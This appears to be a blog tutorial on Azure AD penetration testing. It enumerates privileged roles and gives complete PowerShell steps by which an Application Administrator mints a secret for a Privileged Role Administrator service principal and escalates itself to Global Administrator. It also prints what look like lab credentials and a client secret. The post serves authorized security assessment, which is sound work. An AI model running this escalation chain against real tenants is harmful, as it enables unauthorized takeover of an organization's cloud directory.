Azure Cloud Pentesting
The rise of cloud computing has seen many companies shifting their attention to adopting cloud services such as storage, network, database, and software applications among others.
This particular technology adoption has allowed companies to improve customer experience, increase productivity, lower costs and improve business continuity. While there are many advantages to cloud computing there are also disadvantages to it.
One of the major issues is, it has provided an avenue of attack for cybercriminals mainly because of how organizations are using, storing, and sharing information.
The number of attacks on cloud platforms has increased rapidly in recent years and since cloud computing is here to stay organizations need to know how to prevent themselves from these attacks.
It starts with cloud customers understanding the shared responsibility model offered by their cloud provider. There should be a fine line between what security tasks the customer is expected to handle and what the cloud provider handles. Microsoft clearly states that the customer is responsible for protecting the security of their data and identities, on-premises resources, and the cloud components they control.
Therefore, users have a responsibility to maintain their cloud tenant security by performing regular security audits and assessments. The security assessment process can be complex and proper protocols have to be followed to keep other clients from becoming affected by these planned tests.
All cloud providers have a clear policy of what is permitted when it comes to performing security assessments on customer environments. For Microsoft, the rules of engagement are detailed here.
Some of its products permitted for pentest in the Azure environment include:
Azure AD tenant configurations, Microsoft Intune, Office 365, and Azure DevOps among others.
In this blog post, we will be focusing on Azure AD security assessment, particularly on the applications that have been registered in Azure AD tenant. Developers register these applications so as to delegate identity and access management functions to Azure AD.
As a security engineer, you may be tasked with enumerating excessive privileges that may allow potential internal Azure users, especially developers to take over the Azure environment.
These privileged identities are normally targeted by Cyber attackers through credentials theft attacks and other means so as to gain access to sensitive data.
We are going to look at how to perform an Azure AD security assessment to locate these privileged identities, but first, let us familiarize ourselves with some of the Microsoft Azure environment terms.
Azure Tenant - An instance of Azure AD. This tenant can represent a single identity (person, company, or organization) and can own one or several subscriptions.
Role - A role is made up of a name and a set of operations that can be performed, such as read, write, and delete. Azure controls access to resources using two main systems, RBAC and Azure AD roles. Azure role-based access control (Azure RBAC), controls access to Azure resources such as virtual machines or storage using Azure Resource Management while Azure AD roles control access to Azure AD resources such as users, groups, and applications using the Microsoft Graph API.
Azure app registration - Represent an application that is being created in the tenant. when you register an app in Azure AD two objects are created.
- Application object which is the global definition of the application, you can call it a blueprint.
- Service principal which is the local instantiation of the application. This is the object that will be managing the app. Whenever the app wants to authenticate to Azure AD and access Azure resources it will do so using this service principal object.
Enterprise application - Basically, represents a list of service principals registered in the tenant.
Microsoft Graph - is a RESTful web API that enables you to access Microsoft Cloud service resources. Applications and service principals can authenticate to Microsoft and gain access to the API using:
- Secretes - passwords
- Certificates
Scope: These are permissions for a given resource that represent what a client application can access on behalf of the user.
The Microsoft Graph has two categories of permissions: application permissions and delegated permissions. Application permissions allow an app to act as any user, while delegated permissions are used by apps that have a signed-in user present.
Recon:
Let us start our reconnaissance process. As a security engineer, you will authenticate as any Azure AD user in the subject tenant using Powershell. We will be using the PowerShell AZureAD module.
The module can be installed on any machine with the following command.
Install-Module -Name AzureAD -Force
Connect to Azure tenant any user account’s credentials.
connect-AzureAD
Enter the credentials on the Microsoft sign-in window that pops up.
Enumerating Users roles
Once we have logged in to the tenant, will start by listing roles that have been activated and assigned to users. We will use a PowerShell cmdlet called Get-AzureADDirectoryRole. Note that the roles we are enumerating here are Azure AD roles and not Azure RBAC roles.
From the screenshot above we can see that the roles Application and Privilege role admins have been activated in the tenant which means one or more azure Ad users might have been assigned these roles. Also, we have a global admin role that has been assigned to one or more azure ad users.
Users with an Application admin role can create and manage all aspects of enterprise applications, application registrations, and application proxy settings.
Privileged Role Administrator, Can manage role assignments in Azure AD, and all aspects of Privileged Identity Management.
Global administrator – the highest level of access, including the ability to grant administrator access to other users and to reset other administrators’ passwords.
Enumerating the Application Administrators role
Let us enumerate any Azure AD users assigned to the Application Administrators role.
Application Administrators can reset credentials or client secrets for any application Service Principal in an Azure AD tenant this means it holds special privileges that open up specific privilege escalation attack primitives using Service Principals.
From the previous command we have run, we will grab the object ID of the application administrator role
To search for any users assigned to this role we will run the Get-AzureADDirectoryRoleMember cmdlet and then filter the results on the -ObjectId
objectID: "47042d90-3a98-43d8-86f4-f1a00b62f213"
We get one Azure AD user assigned to the Application Administrator role.
Save the User principal name in a variable called appadmin_username
Enumerating Privilege Role Administrators
Next, let us enumerate users/objects that have been assigned the role of a Privilege Role Administrator.
The object Id is for the service principal (Identity) which has been assigned to an application of the given AppId
Take note of the AppID
#appid:aba1c3d0-e5f0-409d-abbc-9b07f4d61528
Lets find the Object ID for the application that is being represented by the above service principal. We will use the Get-AzureADApplication cmdlet and filter the results based on the appId captured above.
Take note of the objectID:
#AppID: aba1c3d0-e5f0-409d-abbc-9b07f4d61528
#ObjectID: ce61d8bd-98f0-45f5-87d7-c28abc6d8f3d
This is the object ID that shows in the Azure portal under Azure Active Directory → App registrations.
Enumerating Global Administrator target application
We can also try to enumerate the target Azure AD applications assigned to a Global Administrator role. Attackers may decide to attack an application directly that holds the Global Administrator role and use it to elevate their privileges to Global Administrator.
Again we use the Get-AzureADDirectoryRole cmdlet to list out the activated roles. We then filter he results based on a Display Name of Global administrator. The purpose of all this is to grab the ObjectId.
We captured the object id and stored it in a variable called gaObjectId.
Next, we use the object ID captured above to list objects assigned into the role of Global administrator.
From the results, we can see that we have two service principals of some applications in the tenant that have been assigned the role of Global administrator.
Next, we grab the application ID of one of the service principals listed above (Marketing-App) and locate the application’s Object ID. Similar to what we did when we were enumerating the privileged role administrator.
Note down the objectID fo the application.:
#AppID: 4c89cba2-81f6-47d0-95cc-81537ad1ca6b
#OjectID: c1e9a458-dfb7-4892-9ad7-9194cc6c183f
Disconnect from Azure AD using the powershell cmdlet, Disconnect-AzureAD.
Disconnect-AzureAD
Logging in as an Application Administrator and generating a new client secret for PRA target:
In this section, we will authenticate as the Application Administrator and then generate a new client secret for the Service Principal(Identity) which has the Privileged Role Administrator role. To authenticate as the Application Administrator, we will use the username that was already gathered in prior phases and a password that might have been obtained through one of the many password-stealing techniques.
We’ll store the username and password in variables called appadmin_username and appadmin_password respectively and then run the Connect-AzureAD cmdlet to login to Azure as an Application Administrator.
# Connect with the Azure AD user assigned to Application Administrator role
$appadmin_username = "mistyjohnson@finemuziqgmail.onmicrosoft.com"
$appadmin_password = "keen-pika-22BX"
Next we use the New-AzureADApplicationPasswordCredential to generate a new application client secret against the target. To run the command we will need the ObjectId of the application whose Service Principal has the Privileged Role Administrator and which we had already obtained from prior phases.
# AppID and ObjectID
#AppID: aba1c3d0-e5f0-409d-abbc-9b07f4d61528
#ObjectID: ce61d8bd-98f0-45f5-87d7-c28abc6d8f3d
#Note this is ObjectID of the app registration not of the service principal.
# Set the AppId of the target PRA's app registration
$azureApplicationId = "aba1c3d0-e5f0-409d-abbc-9b07f4d61528"
# Set the objectID of the target PRA's app registration
$targetObjectId = "ce61d8bd-98f0-45f5-87d7-c28abc6d8f3d"
Note that when an App Registration has an associated Service Principal in Azure, the Service Principal will have a unique Object ID and an Application ID that matches the Application ID of the App Registration.
# Generate a new client secret for the app registration target
# Creates a password credential for an application.
$AppKeyCred = New-AzureADApplicationPasswordCredential -ObjectId $targetObjectId
$AppKeyCred
Get the new client secret’s plaintext password by setting it to a variable with $AppKeyCred.value. We’ll use this variable soon to authenticate as the Service Principal using this generated client secret.
# RkE+f0bvIsX/qd6ce9H7TBluR7BFtDxJ3HpoppSV/gs=
Before we disconnect lets obtained a tennat objectId that we are going to use in the next step.
We are going to use the command below and store the results in a variable calle tenantId
$tenantId = (Get-AzureADTenantDetail).ObjectId
# 670a2dbd-65a8-43b3-89d4-05e1080d1afa
Now we disconnect from Azure AD as the Application Administrator.
Disconnect-AzureAD
Logging in as the PRA Service Principal account and connecting to AAD with a new Token:
Since Service Principals works like users identity we can authenticate to the tenant with a “username” (object id) and a “password” (a certificate or secret).
In ths section, we will login as the Service Principal of the Privileged Role Administrator (PRA) using the new client secret we have just generated.
We will convert the new client secret’s plaintext value into a powershell secure string and create a powershell credential object using it.
# Generate a new PSCred object for the secret
$azurePassword = ConvertTo-SecureString $AppKeyCred.Value -AsPlainText -Force
$PSCred = New-Object System.Management.Automation.PSCredential($azureApplicationId, $azurePassword)
Next, we connect to Azure AD with the powershell credential object and tenant ID. The most important parameter we are passing in the command line is -ServicePrincipal, which tells powershell to authenticate as a service principal however we are going to use a different powershell module called Az. This is a different cmdlet than the prior Connect-AzureAD.
Connect-AzAccount -Credential $PSCred -TenantId $tenantId -ServicePrincipal
While authenticated as the PRA Service Principal, generate an Azure AD OAuth access token. In the first line, you will create a context. In the second line, you create a MS Graph API access token using the context and specifying the tenant ID.
When calling a resource server, an access token must be present in the HTTP request. An access token is denoted as access_token in the responses from Azure AD B2C.
# Create a context and aad Token
$context = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile.DefaultContext
$aadToken = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($context.Account, $context.Environment, $context.Tenant.id.ToString(), $null, [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, $null, "https://graph.windows.net").AccessToken
Access tokens enable clients to securely call protected web APIs and access protected resources. They are used by web APIs to perform authentication and authorization.
The OAuth 2.0 is the industry protocol for authorization. It allows a user to grant limited access to its protected resources. Designed to work specifically with Hypertext Transfer Protocol (HTTP), OAuth separates the role of the client from the resource owner. The client requests access to the resources controlled by the resource owner and hosted by the resource server. The resource server issues access tokens with the approval of the resource owner. The client uses the access tokens to access the protected resources hosted by the resource server.
Using the generated access token, context, and token, we’ll connect to Azure AD using the Connect-AzureAD cmdlet. Without connection using this cmdlet, we won’t be able to perform the final privilege escalation step. After authenticating with the access token, the final steps are to elevate privileges.
# Connect to Azure AD with the aad token and context
Connect-AzureAD -AadAccessToken $aadToken -AccountId $context.Account.Id -TenantId $context.tenant.Id
Now that we have logged in to azureAD with a service principal account that has a privileged administrator role, our next step is to elevate the privileges of application administrator to global administrator.
Elevate privileges to Global administrator
In this step, we verify the Global Admin role with Get-AzureADDirectoryRole and filtering on the display name. Second, we get the ObjectId for the Global Admin role. We’ll need it to set the application administrator user to that same Object ID’s role
# Get the ObjectId for Global Administrator role
$gaRole = Get-AzureADDirectoryRole | ?{$_.DisplayName -eq 'Global Administrator'} | select DisplayName, ObjectId,RoleTemplateId
$gaRole
$gaObjectId = $gaRole.ObjectId
$gaObjectId
# afcddc34-f798-4aff-a8fe-a2c1c572e827
If we were to verify the objects that have been assigned the global administrator role. We find that the application administrator user isn’t listed.
Next, we capture the ObjectID for our Application Administrator. We need this to elevate privileges using their ObjectID. We filter the Get-AzureADUser template based on the userprincipalname of the Application Administrator and put the ObjectID into a variable called appadminobjectId
# Get the objectId of our application admin that we want to elevate to GA
$appAdmin = Get-AzureADUser | ?{$_.userprincipalname -eq $appadmin_username}
$appAdmin
$appadminobjectId = $appAdmin.ObjectId
$appadminobjectId
Now we run the Add-AzureADDirectoryRoleMember cmdlet to add the Application Administrator to the Global Admin role using the two Object IDs we captured before.
# Add the GA role to our application admin, based on object IDs
Add-AzureADDirectoryRoleMember -RefObjectId $appadminobjectId -ObjectId $gaObjectId
And upon verification, we can see that our Application Administrator now holds the Global Administrator’s role.
Note that there is an Azure application assigned to the Global Administrator role, you could also generate a secret against that Global Admin’s Service Principal (SP), login as that SP, and elevate your privileges
As a Security Engineer, you are able to demonstrate real risk within an enterprise environment. You’ve shown that with the Application Administrator role assigned to an Azure AD user coupled with a Privileged Role Administrator Service Principal, the Application Administrator can elevate their privileges and assign themselves to any role, including Global Administrator. This could be exploited in this scenario because:
Application Administrators can add new secrets against any application Service Principals The Privileged Role Administrator (PRA) Service Principal allows role assignment to a Global Administrator The Application Administrator can add a new secret against the PRA’s Service Principal, login as that Service Principal, and assign their role to Global Admin.
We will talk about ways of securing your cloud environment and the steps you can take to minimise attack surface in your azure cloud tenant.
References:
Building an Azure Pentest Lab for Red Teams
Useful Resources on Azure Privilege Escalation:
Leave a comment